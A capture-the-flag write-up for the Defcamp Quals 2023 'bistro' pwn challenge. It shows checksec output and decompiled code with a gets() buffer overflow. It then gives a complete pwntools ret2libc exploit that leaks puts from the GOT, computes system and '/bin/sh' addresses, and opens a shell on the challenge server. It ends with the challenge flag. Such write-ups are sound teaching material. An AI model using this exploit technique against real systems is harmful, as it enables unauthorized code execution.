bistro [Defcamp Quals 2023]

pwn
writeup by: sunbather

Challenge Description

Maybe you can get a free menu!!

Flag format: CTF{sha256}

Intuition

Checksec the binary to see what we have.

$ checksec restaurant
LIBC_FILE=/lib/x86_64-linux-gnu/libc.so.6
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	Symbols		FORTIFY	Fortified	Fortifiable	FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   70 Symbols	  No	0		2		restaurant

Partial RELRO and no PIE. Great! Let’s decompile:

undefined8 custom(void)
{
  char local_78 [112];
  
  printf("Choose what you want to eat:");
  gets(local_78);
  gets(local_78);
  return 0;
}

undefined8 main(EVP_PKEY_CTX *param_1)
{
  int local_c;
  
  init(param_1);
  puts("==============================");
  puts("              MENU             ");
  puts("==============================");
  puts("1. Chessburger...............2$");
  puts("2. Hamburger.................3$");
  puts("3. Custom dinner............10$");
  printf(">> ");
  __isoc99_scanf(&DAT_0040098c,&local_c);
  if (local_c == 2) {
    puts("2. Hamburger.................3$");
  }
  else {
    if (local_c == 3) {
      custom();
    }
    else if (local_c == 1) {
      puts("1. Chessburger...............2$");
      return 0;
    }
    puts("Wrong choice");
  }
  return 0;
}

We see an obvious buffer overflow in custom. We simply need to ROP into leaking the libc addresses with puts.

Solution

#!/usr/bin/env python3

from pwn import *

#target = process("./restaurant")
target = remote("35.198.129.115", 31756)

# Get addresses with ROPGadget
pop_rdi = p64(0x00000000004008a3)
ret = p64(0x000000000040059e) # for aligning stack to 16-bytes again for system call

# Addresses from the binary
main_addr = p64(0x0040072a)
puts_plt = p64(0x004005b0)
puts_got = p64(0x00601018)

# Leak puts address
target.sendline(b"3")
payload = b"a" * 0x78 + pop_rdi + puts_got + puts_plt + main_addr # go back to main for more inputs
target.sendline(payload)
print(target.recvuntil(b">>"))
puts_leak = u64(target.recvline().strip().split(b':')[1].ljust(8, b'\x00'))
print(puts_leak)
print(hex(puts_leak))

# Find the libc version at some point here manually

system_addr = p64(puts_leak - 0x31550) # offset found in libc database
print(system_addr)

# Get offset to /bin/sh from libc database
sh_addr = p64(puts_leak + 0x13337a)

payload = b"a" * 0x78 + ret + pop_rdi + sh_addr + system_addr

# Pop a shell, baby
target.sendline(payload)
target.interactive()

Flag

CTF{33be4238b68642a4c3f97d10cfa034764e0b6d9707d6970f581200e2b7bcbfc0}